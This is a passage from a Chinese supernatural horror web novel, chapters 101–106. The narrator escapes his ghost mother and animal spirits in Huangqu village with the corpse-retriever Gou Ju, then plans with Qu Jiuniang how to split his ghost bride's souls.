“小陈,不是说魑魅魍魉不入,精精怪怪不生吗?这水尸鬼,就是水里头成精的水猴子,阴得很啊。”他一脸狐疑。 “我忽略了一个点……生气太重,水继而生发,生气聚水,水尸鬼又在水中……”我面色苍白,视线挪至井口,哑声说:“井水会冒到井口位置才停下。这里的生气不够重,不会像是死水潭子里的生气,能够催生出来一条黄渠河。” “不过……水尸鬼不能从水里出来的,刚才是我靠近了井口,我看你没在院子里,井中有声音,就以为你掉下去了。” “这黄渠村的水尸鬼都想杀我,正常情况我是不能靠近任何能蓄水之处的。” 这一番话,我算是清晰的把信息点都告知苟驹了。 苟驹却一脸听不懂的表情,摆摆手说:“算了,没事就行,说风水我又听不懂,不靠近水是吧?那你离井口远一点儿。” 他做了一个往后驱赶的举动。 我再度后退几步,苟驹又嘀咕两句,意思是他怎么会莫名其妙跳井呢,就是人有三急,上了个大的。 我心知是自己误会搞出来的乌龙,还好,看苟驹的样子是没受伤。 “能走出去了,苟叔,我给你拿一身干衣服。” 说完,我要进我爸的房间。 “别,我就这身好使,常年水里捞尸的,白天能穿干净衣服就行了,水多我才来劲儿。”苟驹摆摆手,连声示意不用。 我没强求,进自己房间,换了身衣裳。 还好,身上其余怕水的东西我都放在瞿九娘给我的皮馄饨里头, 书都没受影响。 再出房间门,我正想示意苟驹走。 笃笃笃笃的声响中,居然是有人敲门。 “谁?!”苟驹反应很敏捷,立马喊了一声。 我脸色微变,紧接着就做了个嘘声的动作,快步走到苟驹身旁。 神三鬼四,敲门声是四下! 屋外却安安静静,没有丝毫的声音了。 苟驹眼皮一直跳,脸上一样起了些白毛汗,他没吭声。 我先指了指一侧门上的符,微微点头,意思是告诉苟驹,院子的安全没问题。 随后,我轻手轻脚的走到门前,透过门缝中往外看。 门外站着一个人。 她安安静静,怔怔的看着门。 脏兮兮的衣服,脏兮兮的裤子,瞧不见本来的质感颜色。 尤其是裤子上的血痂,更触目惊心。 “是你吗?棺生?” 空寂的话音,从她口中喊出。 我心一下子就酸到了极点。 果然,是因为村子的变化,让阴婚出问题了? 我妈都迎着门再度找来了。 “棺生?”喊声更空寂,还带着一丝丝迷惘。 “妈怎么又回不了家了?” “妈先前都能进来的呀。” “妈好冷啊……” “你爸不见了,公公不见了,婆婆也不见了,家里孤零零的,就妈一个人,怎么你回了家,还关上家门了呢?” 哀伤的情绪充斥进了话音,我妈再度上前,扣击着门。 笃笃笃笃,四声后就稍稍停顿一下。 我心里头难受,脸都一阵惨白。 真要说惨,我这辈子其实算好的,至少好端端活到现在了。 我妈最惨了。 在棺材里生下我就死,这小二十年,一直都是这副鬼样子。 她的执念,太重。 我现在风水术懂了很多,心知这个缘由,一来在她自己,她本身就有执念。 二来,是在于老鳏夫当时葬她的坟,在风水上,必然也是一种生气生发的地方。 风水有个说法,叫做龙脉,龙脉气口往往是镇尸之所,生气足够大,就能够镇尸,甚至将尸身超度。 若是气口过小,就只有养尸的作用。 当然,大龙脉如果经过设计,布局,一样可以只养尸,不镇不超,就宛若蟾山最开始安葬的锁龙井凶尸。 后山就像是一条小龙,弱龙,我妈的葬处勉强算是穴眼,生气能让我活着在棺材中生出来,此后就将她养成了尸鬼。 后退两步,我跪倒在地,冲着门口磕了几个头。 “妈……我会送你走的。” 人死灯灭,死者超生,她得去投胎。 “棺生?”喃喃话音再起,透着一股浓郁的喜悦。 “妈不走,妈怎么能走呢?妈要守着你啊。” “你是妈身上的一块肉!” “都说娶了媳妇忘了娘,可你不能忘了妈啊!“ 敲门声咚咚咚的加速,这哐当哐当的声响变大,另一侧钉着符的刀,居然都在微颤,似乎要掉下来一样。 苟驹不知道什么时候凑在我身边儿,瞄着门缝外,他额头上汗珠豆大一颗,眼中都透着惊悚。 “红的……我的妈呀,是血煞尸……” “小陈,你的符要顶不住了,你别招她,赶紧别招她了。” “她要进来了!” 我和苟驹接触的时间不算短了,哪儿见过苟驹这般惊悚的模样? “棺生?棺生?棺生!” 咚咚咚咚! 哐哐哐哐! 我妈已经不是在敲门,她是在砸门! 喊声不再是哀伤柔弱,是尖叫,是怨毒的哭。 “开门!” “开门!” “开门啊!妈要进来,让妈抱抱你!” “有妈的孩子像块宝,没妈的孩子是根草,你是妈身上的一块肉!” 院门,开始渗血! 农具屋门上的符,开始发卷,似乎要变黑! 第102章 布人被破! 我身上的鸡皮疙瘩都快掉下来了。 苟驹脸上更是一阵阵惊悚。 他是真的怕! 犹记得当初我用寻龙分金尺,直接将头七的卢老爷子打退,苟驹惊叹,说我青出于蓝而胜于蓝。 我当时就粗略的明白,尸体的凶厉程度,和颜色挂钩。 像是我妈刚死的时候,我爸所说的她浑身白毛,那必然就是最初的诈尸。 卢老爷子的浑身黑毛都没有让苟驹生畏。 现在我妈身上的血色绒毛却让他如此恐惧,至少在我已知范围内,白,黑,红,就是三种诈尸的级别? 思绪在顷刻之间,我冲着苟驹使了一个眼色,拔腿就朝着后院的方向疾走。 苟驹立马跟上。 两人都是三步并做两步的跑,很快就进了后院里。 这院中还有一个农具屋,摆着的都是一些大件儿了,像是农村那些打谷子的木车,不像是前院儿都是些金铁之物。 一把推开后院门,我就带着苟驹朝着前边儿一处林子冲。 “出来!”我低声喊了一句。 苟驹脸皮子一抖,似是没反应过来。 很快,我们就跑进了林子里。 上一次,我就是在这里躲着我妈的,她那一回就在后门哭。 稍稍顿足,我摸出来了小布人。 “你想回去,那前提是得有人把你送回去,还把你拉出来,我要是被带走,你一样回不去!” “我直接刨个坑,把你埋在这里!” 作势,我就要蹲身挖坑。 “废物。” 冷冰冰的话音骤响,悄无声息,白姝灵出现在了我面前。 苟驹更被吓了一跳,噌的一声,他拔出来了卜刀。 此刻卜刀上还染着一丝血迹,分明是先前杀水尸鬼的血。 白姝灵瞥了苟驹一眼,她语气冷漠极了:“也是个废物。” 苟驹眼中惊疑不定。 “鬼?养鬼?” 我眼神沉冷,盯着白姝灵。 要是正常的白姝灵,不会对苟驹这副反应的。 这个非正常情况下的她,这个被尸身中意识做主的她…… 太难相处。 我先前总想着,白姝灵的正常意识还能挣扎过来。 现在明显是不可能。 就像是一件事物被压迫的太久,最后恐怕就只剩下压迫。 必须得将她们分开才行。 当然,思绪归思绪,我不可能说出来,让现在这个白姝灵警惕。 “养鬼?他也配?”白姝灵嗤嗤一笑。 一时间,苟驹脸色发懵。 我抬起手,重重的在小人脸上扇了一巴掌。 “我打你个小人脸,长舌妇人欠管教!”我声音更为沉冷。 白姝灵脸上顿出现五条红红手指印。 她懵了。 随后,她颤抖,她眼珠子瞪大,居然都泛着一丝丝血红。 我扬起手,此刻,手中持着寻龙分金尺。 “嫁鸡随鸡,嫁狗随狗, 你要反了天,我就先打散了你!” 平日里,这个白姝灵无论说什么,我都听着就算了。 眼下,事情已经没有转圜的余地,她这部分魂必须被分出去,不然的话,她就是身边的一颗隐雷。 既如此,我又何必再给她颜面? 耳边隐隐约约听到了唱腔,是幽婉细长的世上只有妈妈好。 白姝灵阴沉沉的盯着我,她眼中浮现了浓郁的怨毒,不过,她身上却淌着一股几乎无形无质的气息,随后,这小树林里起了雾,雾是鬼雾,白中带着一丝丝的血色。 余光中能瞧见后门的位置,我妈推开了门,她果然破开符,都穿过整个院落了。 她站在后门的位置,怔怔的扫视门外四方。 因为白姝灵的缘由,她没有继续能发现我的位置。 “阴婚要解开,你要把我送回去,否则,就算是魂飞魄散,我也不会受你奴役和折辱。”白姝灵语气也愈发怨毒。 这声音没有传出林子。 苟驹没吭声,他眼皮一直跳,看我的眼神,又带着一丝丝迷惘和陌生。 就像是他刚认清楚我是一个怎么样的人,现实又给了他当头一棒,发现其实没有那么简单。 “我会把你放回去的,我知道你急,但是你别那么急,首先我不能出事,村里出了问题,影响不小,你要让我能避过去那些大仙儿。” 我知道这雾能隔绝声音了,因此,语气就果断笃定很多,提了条件。 “你别太过分!”白姝灵的眼珠子都变了色,成了一片猩红。 果然,她能瞒得过我妈,更能解决黄渠村里的水尸鬼,她的级别一样不低! “你可以选,既然你没用,我就将你埋在这里。”我冷冷回答。 白姝灵不吭声了,她只是盯着我,开始笑了起来。 这种笑容分外憎恨,恨不得吸干我的阳气,将我剥皮吃肉。 我面不改色。 “男人,呵,果然,都是一个样子。” 白姝灵眼中闪过一抹嘲讽,才说:“你要出村,去那个黄土坡对吧?我走不出这个奇门遁甲,胡蝶要不是得了怪病,他的风水术,比我那个死鬼爹厉害。” 我瞳孔微缩。 这奇门遁甲,居然是胡蝶布置的? “行吧,他如果鸠占鹊巢,夺舍了你,我还得被他养起来,不过陈棺生,你别食言而肥。” “还有,怎么出奇门遁甲,是你的事,我只是不让大仙儿找上你。” 雾气,稍稍收缩了一些,几乎覆盖在我和苟驹的身上。 白姝灵并肩走在我身旁,她动作十分轻巧,脚尖踮着往前飘。 我稍稍松了口气,从那后林子往深处走,没多远就从另一个方向回到了村路上。 随后,我循着记忆中画过的图,沿着村路走。 没走多远,我就瞧见在一处墙角边上,放着一块砖。 我挪开了那片砖,砖头下边压着一张符。 风水就是这样,一片砖,一块瓦,就可杀人困人于无形。 的确,我无法从这奇门遁甲本身去推演方位,但我可以从我家的位置推出离开这里的方向。 路上本身,一定会出现构架奇门遁甲的点。 就像是鬼打墙要有鬼,要有鬼的物品。 奇门遁甲也有阵脚!也有锚点! 我拿开那张符,四周明明没什么变化,可我知道,肯定有所改变了。 随着一路往村南头走,光是这一路,就发现了十几张符。 苟驹额头上一直在冒汗,汗珠豆大豆大一颗。 沿途没有大仙儿跟上来,不过,白姝灵看我的眼神,又从怨毒多了一丝迷惘。 就像是她都不能理解,我风水术居然能做到这一步? 一路上,我走的速度愈来愈快。 可忽然,我发现了一丝微微的不对劲。 白姝灵不知道什么时候消失不见了。 “奇怪了,小陈你养的鬼婆娘呢?又耍小性子了?” 苟驹诧异的问。 先前我和白姝灵的对话,已经展露了我们之间的关系。 随后苟驹又说:“娘们儿这东西,就是三天不打,上房揭瓦,小陈你可别上头,真把她放走了,你就是没好好收拾她,我和你讲,回头我给你弄点补的,你一顿把她弄服帖了,她才不和你闹。” “我看你最近就是太忙,管着卢家的事儿,我都不晓得你有鬼婆娘,要晓得,我肯定得提醒你啊,有些事儿,甭管是人是鬼,女人就吃那一套。” 苟驹语速飞快,还煞有其事,特别认真。 我没吭声,摸出来了小布人,脸色却彻底变了。 小布人……散了架! 汗毛根根倒立,白姝灵跟在我身边,最初是纸人,之后就是布人,这是聚拢她魂魄的东西。 无形之中,布人居然被破了! 我没反应,就连白姝灵本身,居然都没反应过来! 我在这里破奇门遁甲。 必然是胡蝶! 他在暗处破白姝灵的布人! 是非要将我留下! 第103章 狐迷眼,蛇咬人,鼠磕头 “苟叔,快走出去!要出事!”我强忍着心惊,语速更快,脚下的速度更快,不再是疾走,几乎成了狂奔! 苟驹反应不慢,他收起脸上其余神色,紧跟着我不落下半步,手中随时都持着那卜刀。 奇门遁甲已经被我破掉一路,此刻我们所处的位置,经过了当初我买泡面零食的村内平价超市,距离村南头只有很短一段距离了。 出了村,到了黄土坡,就能安全! 黄土坡有一大片当年吃过陈家救济粮的村民,胡蝶和陈梁生都无法染指! 终于,眼前瞧见了村南的出口,暗沉沉的路口处居然站着两个人。瞿九娘和我爷爷,他们两人神情略显得焦急,正在冲着我和苟驹招手。 我大喜过望! 胡蝶知道我进村,开始算计我。瞿九娘也知道我来了,和爷爷一起在村尾接应我! 距离还剩下三四米的时候,苟驹忽然一把抓住我肩头,他骤然驻足,惯性使得我往前冲了一下,被拉扯的停下来,肩膀都一阵撕扯的疼痛。 “别过去!”苟驹眼神透着一丝惊悚。 “棺生,来,快跟我走,这里危险!”瞿九娘语速飞快。 爷爷一样急不可耐:“走啊棺生,干嘛停下?!快走出来!” “他们不对劲!瞿九娘不对劲,另一个是你爷爷?也不对劲!”苟驹声音压得极低,却要拉着我后退。 我鸡皮疙瘩蹭蹭冒,这哪儿不对劲了。 爷爷是爷爷,瞿九娘是瞿九娘啊? 因此,我用力抵抗苟驹。 “棺生,这个人不对劲,你怎么带了个陌生人过来?赶紧撇开他!”瞿九娘满是皱纹的老脸都紧绷起来。 就这一句话,让我脊梁骨都窜上了一阵寒气。 陌生人? 苟驹怎么可能是陌生人? 是瞿九娘给我的安排,让我去找回水湾找苟驹。 她怎么可能不认识苟驹? 想清楚的瞬间,我放松抵抗,顺着苟驹拉拽,飞速往后退。 旁侧有个巷子岔路,苟驹和我退进去的瞬间,苟驹嘴皮子都白了,哆嗦低声的骂了个操,随后摸出来个瓶子,朝着嘴上滋了一口。 他又立即将小酒瓶递给我。 有句老话叫做酒壮怂人胆。 苟驹好喝酒,这会儿他还喝,他是真怕了…… 我硬着头皮,稍稍侧过脑袋,瞟了前方一眼,入目所视的一切,开始还是瞿九娘和我爷爷。 微微咬了一下舌尖,刺痛让我更镇定清醒。 可我看见的,还是瞿九娘和爷爷。 “咬破,弄点儿血出来,你阳气被压了,不够重。”苟驹打着手势,还张嘴动了动舌头和我示意。 我挤着咬破了舌尖,随着一股腥甜的血在口中弥漫浸润,眼前所视的一切,大变模样。 站在路口上的,哪儿是爷爷和瞿九娘,分明是两只狐狸。 这两狐狸尾巴不停的甩动,像是蒲扇一般,尤其是它们尖嘴,柳条似的纤细眼睛,眼珠还在飞速转动,更凸显一股子阴森。 更可怖的是,那里根本不是村南出口,看样子,距离出口还得有三四百米的路…… 村里老生常谈的还有一些民俗鬼故事,包括了狐媚子骗人。 先前的一幕,不就是那样吗? 一旦我和苟驹信了它们就是“瞿九娘”“爷爷”,恐怕苟驹命不久矣,我也要落入仙家手中。 “绕路……”我压低声,快速朝着这巷子深处走去。 “黄皮子,狐媚子,一村就闹了两个大仙儿,不会再闹第三个吧?小陈……这黄渠村惹阎王爷了?水尸鬼还不够,还整这么多……”苟驹话还没说完,骤然间,右侧的院墙顶上射出一条黑影。 月光朦胧,嘶嘶声很轻微,却极其刺耳! 那分明是一条黑背白腹的蛇! “日!”苟驹大惊失色。 不过,他手猛地一挥! 咔嚓一声轻响,蛇一分为二。 大半截蛇身不停在地上挣扎扭动,另外小半截蛇颈带着头,静静的一动不动。 “胡黄柳……好家伙……合着就差灰白了……” 苟驹话音将落。 我眼珠子猛地瞪大。 地上那小半截蛇颈,居然骤然窜了起来,就像是弹簧似的,蛇吻张得极大,尖细的蛇牙甚至闪烁着点滴毒液! 苟驹再骂了一句国粹,刀再斩出,断蛇再被斩掉半截,仅剩小半截头,眼看就要咬中苟驹的脖子。 这一口下去,比不得手脚中毒,脖子挨着大动脉,人须臾之间就要毒发身亡。 我来不及思考,探手抓出,直接擒住了蛇头。 手指一阵钻心刺痛,蛇吻死死咬着我食指。 “小陈!”苟驹大惊失色,抓住我手腕猛地一甩。 蛇头落地,他狠狠一刀插了上去,直接将其捅了个对穿。 我食指上两个血洞,显得触目惊心,血正在外溢。 苟驹立马给我吸了一口毒血,噗的吐了,又再度复吸,再吐,那一霎,我手指头都白了。 “先走……事情没完……胡黄白柳灰是盯着我的,暗处还有个风水先生……”我语气本来极重,最后几个字,都显得头晕目眩,一时间,身上竟在剧烈的发冷。 这蛇毒,好凶! 一时间,我脚步居然都趔趄了。 只能是苟驹搀着我往前快走,速度始终慢了不少。 苟驹胳膊在发抖,眼珠子也在泛红。 很快走出这岔路,我强撑着头晕,示意往左边儿那条村路走。 苟驹就拉着我往前。 我记得不错的话,这里还有一条小路,出去也是村南,只是稍稍偏移一点儿方向,不过,这里直插黄土坡中心那一段。 走老路,是因为我第一次找黄土坡,以为只需要到那里就行了。这条路在某种程度上来说,更快。 头晕目眩的感觉更强了,甚至我开始觉得,右手有些失去知觉,手指头都肿的像是根火腿肠。 “小陈你够义气……别怕,有你苟叔,死不了……马上就出……” 话音戛然而止,苟驹再度顿足。 我本来就快撑不住了,眼前一直起重影。 模模糊糊的重影中,小路前端飘来了一顶黑漆漆的轿子,看似没有人抬,可轿子底部,隐约能瞧见细细的老鼠爪子。 轿子停在路尽头,帘子还轻微飘动打开,似是等我们走过去,就可以上轿子…… 从轿子里更窜出来一只耗子,都赶得上猫大了,它一样像是人似的站着,冲着我不停的作揖。 “他妈的……鼠磕头啊……” 苟驹先前的信誓旦旦,瞬间变成了哆嗦打颤。 第104章 所以,你很孝顺? 冷……好冷……冷得我体若筛糠,感觉自己就是风中残烛,随时都会熄灭。 苟驹下一句话,却是咬牙切齿:“你站稳了小陈。” 他松开我时,另一手紧攥着卜刀,就要大步往前。 我反手,不知道哪儿来的力气,还是死死捉住苟驹的胳膊。 “别去……”我声音分外虚弱。 大仙儿绝对没有明面上瞧见那么简单,蛇咬人,被杀了,蛇头都弹起来反击。 耗子灰仙敢拦路,肯定有其本事,尤其是在黄渠村的这些大仙儿,小二十年前就成了气候,苟驹怕不是对手。 “不去就完犊子了!” 苟驹手一甩,将我挣开,他当头一卜刀朝着那磕头的耗子斩去! 只不过,耗子多灵活? 他一刀劈了空。 那老猫一般大的耗子,嗖的一声窜过苟驹裤裆,再苟驹提刀回头的瞬间,顺着苟驹裤腿往上一窜,直接就爬到了他肩膀处,一口朝着耳朵咬去! 这一口但凡咬中,苟驹就要少个耳朵了! 我粗重喘息,拔出了寻龙分金尺。 我手脚上功夫不大,可苟驹都这样了,我不动手,就是坐以待毙。 可这一尺子刚挥出去,整个人瞬间失去平衡,一头朝着地上栽倒! 苟驹动作一样不慢, 他身体骤然往前一甩。 惯性就让肩头的耗子掉了下来。 他双手握刀,狠狠朝着地上一插! 轻微的咔嚓声,好大一根秃毛尾巴刚好被插断。 “日你仙人板板!”苟驹骂着,再提刀挥斩! 就在这时,悚然一幕发生。 那黑漆漆的轿子哐当一声,是落了地。 至少几十只巴掌大小的耗子窜出来,像是潮水一样涌向苟驹! 这一霎,苟驹都傻眼了,一时间,竟然忘了动作。 我同样傻眼,这要怎么破局? 那些耗子一个个眼珠子发红,腥臭的味道扑面而来。 说时迟,那时快。 骤然间,它们猛然停下,就像是炸毛了似的,居然倒卷而回,窜进了轿子底下。 轿子一晃,朝着远处飘去。 那猫一般大小的老耗子,哧溜一声跟上,钻进了轿子里边儿。 随后,轿子侧面的窗口探出来一颗头。 我差点儿没忍住,尿都在门边儿上,随时会抖出来。 那是一张比巴掌稍大一点点的脸,皮肤很白,又泛着一点点分红,像是初生婴儿,可她鼻子的位置又有一颗大痣,长着几根黑漆漆的痣毛,耳朵略大,很薄,仿佛月光能穿透,敲得见耳骨。 最可怕的是她的脸型,窄窄的下巴,往里收紧,就感觉鼻子和嘴是凸出来的,分明是个人,却活像是个耗子精! 随着轿子摇摇晃晃飘远,苟驹才反应过来,将我搀扶起身。 “见鬼了……它们都能把我活啃了,怎么突然跑了?” 前路空空荡荡,已经没有阻碍。 我眼前更黑,意识更朦胧,只能勉强说走。 苟驹换而将我背在背上,匆匆往村外走去。 心有所感,我十分勉强的扭过头,往后看了一眼。 在我们先前的位置后边十米左右,静静站着一个“人”。 她双手捂着心口,泛红的眼睛,怔怔看着前方。 一时间,我心口都像是被刺了一下…… 是我妈…… 关键时刻,居然是她惊退了灰仙…… 先前她追我的时候,明明是要将我永远留下,这一段时间以来,她的表现,我对她的认知都是这样。 可没想到……此刻她却一反常态,救了我和苟驹的命。 远远离开村路,能瞧见黄土坡了。 本身朦胧的月影,在这一刻都变得清亮许多。 随着我们靠近黄土坡,远处出现了一个人影,只是独身一人,我爷爷。 他最开始神色警惕,随后,他大惊失色,朝着我们这边跑来。 苟驹本来紧握着刀,随之他松了口气,将刀别回腰间。 “棺生!”爷爷到了近前,他声音都发抖:“天啊,这怎么回事儿?” “柳仙的蛇毒,赶紧的,九娘人呢?”苟驹声音分外严肃。 我彻彻底底的昏迷过去。 冷,热,疼,随后是昏昏沉沉,各种各样的难受体感侵蚀意识。 耳边好像一直听见有人说话,别的什么都听不清楚,只能听清楚两个字,就是棺生。偶尔还会夹杂几个字,小陈。 不知道过了多久,当我终于迷迷糊糊睁开眼时,入目所视,是灰扑扑暗沉沉的窑洞顶。 身旁坐着的,是满眼血丝,担忧不已的爷爷。 右手有知觉了,知觉感还很强烈,只是痛,像是筋被抽出来的痛。 “棺生?醒了!?”爷爷脸上疲惫不减,但惊喜却分外浓郁。 “老姐姐,棺生醒来了!“爷爷立马冲着门的方向喊了一声。 帘布瞬间被掀开,我余光瞧见,进来的正是满脸褶子的瞿九娘,她脸色分外紧绷,身旁还跟着一人,正是苟驹。 瞿九娘到了我身前,立马手指掰着我上下眼皮,盯着我眼珠看。 苟驹停在另一侧,他同样是如释重负的表情。 随后,瞿九娘又给我把脉。 她总算稍稍松了口气。 “本事不小啊。”瞿九娘的语气,又再度拔高起来:“让你一切稳妥了才回来,这多半个月,你就等不及了?” “真是本事不小,村子被黄渠封住,水尸鬼潜伏,你有捞尸人给你开路,这整个村子都被那胡蝶和陈梁生给布局了,你居然破开了他们的局……甚至是在四仙环绕中,保住了命,跑了进来。” “你可真是本事不小,距离老陈家折了香火,断了传承,就差那么一丝丝了。” 瞿九娘接连三个本事不小,哪儿是夸我,她是气的,脸都快涨红成猪肝色。 苟驹脸色同样变了,他脸上浮着一层细密的鸡皮疙瘩,惊疑万状。 “老陈家?九娘婶子,你说啥?” “就是老陈家,不是那个老陈家吧?” “什么这,什么那儿的?安静。”瞿九娘语气很冷,一时间,只是那么沉沉看着我,一言不发。 “村子……要被黄渠河淹了……我打开的水口,我放出来的水,水尸鬼……也是我放的……” “如果村子成了一个湖,爷爷要死,爸要死……您……也会死……” 我强撑着想要坐起身来。 爷爷是要按着让我躺下,我抵抗着还是要起身,爷爷就只能馋着我,让我起身。 苟驹脸色再度骤变,他看我的眼神,充满了震惊。 “所以,你想说,自己很孝顺了?”瞿九娘反问,稍稍一顿,忽然又说:“黄渠村成了湖泊,又有什么不好?该死的都死了,该活的活了下来,有问题吗?” 我瞪大眼珠子,心头更惊,鸡皮疙瘩更密布全身。 “你……”我哆嗦的一个字,却怎么都说不出话了。 我想到了一个可能,却怎么都不敢继续猜,继续往下质问…… 第105章 当局者迷! 那个可能,是瞿九娘让我走之前,她就知道黄渠村会被淹没! 她是说着让我学艺有成回来救人,那都是搪塞! 真等我那时候回来,看见的已经不是村子,是一片湖! 她的想法,或许从来都不是自己,或者我爸,我爷爷活着离开黄渠村。 黄渠村的变化,若是让连带着对我有谋划的胡蝶,以及对老陈家有谋划的陈梁生都死在这里,对她来说,才是最好的结果? 这样一来,就没有人想杀我,至少暂时性的,我没有仇家了。 这也算是老陈家的生机? 从家族覆灭,两代断绝传承, 到了我这里,终于有了一颗火种!? 最开始,我对瞿九娘,只认为她是个疯疯癫癫的守村人。 之后爷爷对她的态度,以及她自身的态度变化,再加上将我送出黄渠村找到苟驹,以及看到陈瞰山的一系列遗言,这都在潜移默化的改变我对瞿九娘认知。 正因此,我对她尊重,称呼都变成了您。 眼下发现瞿九娘实际上带着死志,这就让我心头格外沉闷难熬。 要怨恨她吗? 我没这个资格。 从陈瞰山的那个手册里,我看到的分明是个放弃自己一生,都要为陈家留下一股传承香火而付出一切的女弟子。 “来都来了,您不能让我走吧?既然要走,总不好让我一个人走吧?陈梁生不会不知道黄渠村的危险,不会不知道黄渠的覆盖,他能走,恐怕早就离开了?是蟾山白蟾庙锁龙井,让他走不掉?” “至于胡蝶为什么不走,我不清楚。” “有个人一直在等您。”我话音压得极低。 瞿九娘的眼珠子很浑浊,仿佛我所说的话,并不能提取她多少兴趣。 苟驹在一旁没吭声打断,甚至他默默后退,似是认为,这些事情他不应该多听。 爷爷还是闷头杵在床畔,他摸了一根烟,点了之后,吧嗒吧嗒的抽着,显得满脸愁容。 “说什么也迟了,你已经进来了。”瞿九娘眼中闪过一抹嘲讽,说:“那个人让你进来的?那他真该死。” 我顿反应过来,瞿九娘误会了…… “不是陈瞰山。”我立马摇头否认。 人至少得有个一人做事一人当的勇气和担当,陈瞰山已经是个死人,还是等瞿九娘到死的人,虽然他对我爷爷有着诸多看法,但我不能让他来背锅。 我爷爷脸色陡变,眼珠子瞪得极大。 “二哥?”爷爷颤巍巍的说,他眼中全然是不敢相信。 我这时候才发现自己疏漏的一个地方,当时看到陈瞰山绝笔的时候,虽然他说了是我爷爷兄长,但我依旧先入为主,自认为他是二爷爷,实际上,他比爷爷辈分高,可阴差阳错,爷爷居然喊他二哥,这意味着他还有个大哥,意味着我将陈瞰山叫做二爷爷这没错? 在瞿九娘皱眉的同时,我说:“他死了,应该是在我去的七八天之前死的吧?” 瞿九娘眼皮,微微一颤。 “嗯,他是会死的,陈家最终只会有一颗火种,他若是不死,你就拿不到老陈家的传承,所以,他必然会死。” 瞿九娘的这番回答,出乎了我的预料。 “问题是他在死之前,给你留下了什么东西?他待在内沧市那么久,他应该有了破解锁龙井凶尸的手段了吧?”瞿九娘又问。 “这……” 我脸上露出苦笑。 “是有,但我没拿到。” 瞿九娘脸色再度一变。 不过,她又微微叹气。 “凭他的性格,如果他活着,那肯定会和你一起回来,他死了,应该就会留下某种掣肘和限制。当年我就起卦算过,老陈家的契机,是在我将火种送到回水湾的三年后,因此我告诉苟驹,届时我弟子过去,替他做三年水事,苟驹并非一个简单捞尸人,三年时间,能给你很多认知,你自身的风水术,算命术,都会得到一定程度的磨砺了。” “可没想到,你太感情用事。” 瞿九娘再度一声长叹。 我面容苦涩,扭头看了一眼爷爷。 随后,我眼中浮现了一抹坚定,和瞿九娘对视。 “这不是感情用事,古人说,子欲养而亲不在,我不可能看着一家人全都惨死,自己高枕无忧的躲在一旁,瞿奶奶,就像是你有自己的认知和见解,宁可一直留在黄渠村,当个疯疯癫癫的守村人,也没有去我二爷爷身旁,你有你的责任心,我,一样有我的。” 安静。 一时间,土窑洞里只剩下安静。 “九娘,你说,该怎么办才好?”爷爷总算开口说了话。 瞿九娘沉默许久,脸上的褶子变得更深。 “陈瞰山总提过锁龙井,你总知道一些东西吧?” 瞿九娘这番话,总算是将事情切入了一部分正题。 我深呼吸,坐起来更多。 余光瞟一眼手指,被蛇咬那里,切开了一道很长的口子,明显是放过血,不过肤色正常了。 随即我才说了,关于请河神夺女,九尸拉棺的事儿。 除此之外,对锁龙井我就一无所知了。 “河神夺女……”瞿九娘正思索呢。 我立马解释了,我没有这样做的原因。 紧接着,我又说了关于白姝灵的情况,想要问瞿九娘有没有办法,将她魂魄再次一分为二? 瞿九娘脸色微变,她立马摇摇头说:“你觉得,一分为二,就能解决问题了么?阴婚,是会反噬的,且无法解开,如果你将她那部分恶念和魂魄分开,放回了尸身中,那她不光是在黄渠河,就算进了天沧江,都是一方大凶!而且,她必然会反噬你!” “她另一部分魂魄对你的善念,好歹能影响一二,彻底分开之后,那一部分魂魄就无法影响到尸身中的主魂,甚至主魂会想着将你们一起吞吃!” 瞿九娘这一番话,很简明扼要,很条理有据了。 “不过……嘶……” 瞿九娘眼珠陡然圆睁,她神情都显得异样激动起来。 “可以这样啊!” “原来如此!当局者迷,当局者迷!” 可很快,瞿九娘又变得阴沉极了。 “胡蝶招走了她的魂,这必然和她有些东西在胡蝶手中有关,白姝灵是关键,你是必须要拿到陈瞰山遗留手段的,河神夺女必须完成,不过,可以夺她的恶魂,以及那不好控制的河魁尸,你想留下那一部分善魂,这没有问题。” “得将白姝灵夺回来!” 瞿九娘这番分析,决策,让我心头微微一震。 我就没有想到过这个办法,才真的算是当局者迷! 第106章 你能有点儿新鲜招数吗? 真要按照瞿九娘的分析来看,分开了白姝灵两部分魂魄,还得妥善解决了河魁尸,才能高枕无忧。 那就是将计就计,顺道完成了陈瞰山的要求,一样解决了河神夺女的难题。 爷爷神态一样镇定多了,擦了擦额头汗珠。 “不过,事情还是没那么简单,村内的仙家太多了,苟驹说,你们就差遇到白仙,四仙都撞齐了。”瞿九娘再度开口。 我整理了一番思绪,将进村,出村的一应事情又和瞿九娘说了一遍。 苟驹毕竟不够了解村子。 还有最后关头,是我妈在一旁震慑,才让我们有离开的可能。 “乱。” “太乱了。” 瞿九娘直摇头。 “胡蝶是没有办法控制仙家的对吧?他只是趁着黄渠河水位上升,村内变动的时候,设下了奇门遁甲的布局,他可能……也不是用来对付我?”我试探的说。 没人能知道,我一定会回来。 胡蝶这样大费周章,必然有他自己的目的。 此外,他如果能控制仙家,我就跑不掉了。 “他的确不是对付你,凭他的本事,这奇门遁甲应该会更厉害的,你破不掉,你能破掉,是因为你破的是外沿布局,更多的设局,应该在老鳏夫的家附近,以及火神庙附近。” “他一来是求自保,怕被剥皮的老鳏夫杀,又怕陈梁生杀他,二来,他可能还有所图谋,抢不到你的身子,他就得找替代品了。” “黄渠河的水尸鬼,成了拦住所有人离开的杀招。” “而风水本身造成的动乱,生气的上升,让仙家活跃,让尸鬼游走,譬如你娘。” “我们着重要做的事情,就是保住自身的前提下,将白姝灵的魂抢回来,再借用捞尸人的便利,离开黄渠村。”瞿九娘再度开口,算是给我们既定了一个目标。 我点点头。 随后瞿九娘又问了一句:“你还没有涉及算命术?” 我略有几分汗颜。 “不过,已经算不错了,总共可能才二十多天吧,居然能记下来葬经百解的大部分内容,能说得上一句天资卓越。” 我不知道怎么搭话。 一旁的爷爷倒是高兴,像是脸上有光。 “你再休息休息吧,蛇毒没有那么好清理,我去和苟驹谈一谈。”瞿九娘慢吞吞站起身,朝着土窑洞外走去。 “爸还好吧?”我看向爷爷。 “挺好的,至少没有变得更差。”爷爷回答。 “嗯嗯。”我点点头。 “爷爷给你去弄点儿吃的。”爷爷同样站起身来,他朝着屋外走去。 我深呼吸,慢慢抬起胳膊,活动了两下,依旧有一股子麻木僵硬感。 只是,刚刚缓和下来的心情,又稍稍紧绷了一些。 瞿九娘分析了很多事情,分析了和我相关的,分析了我们要离开,分析了怎么解决白姝灵的隐患,以及现在就布局,顺水推舟要拿到对付锁龙井凶尸的手段。 可她唯独没有分析,要从陈梁生手中夺出来我爸那一缕魂? 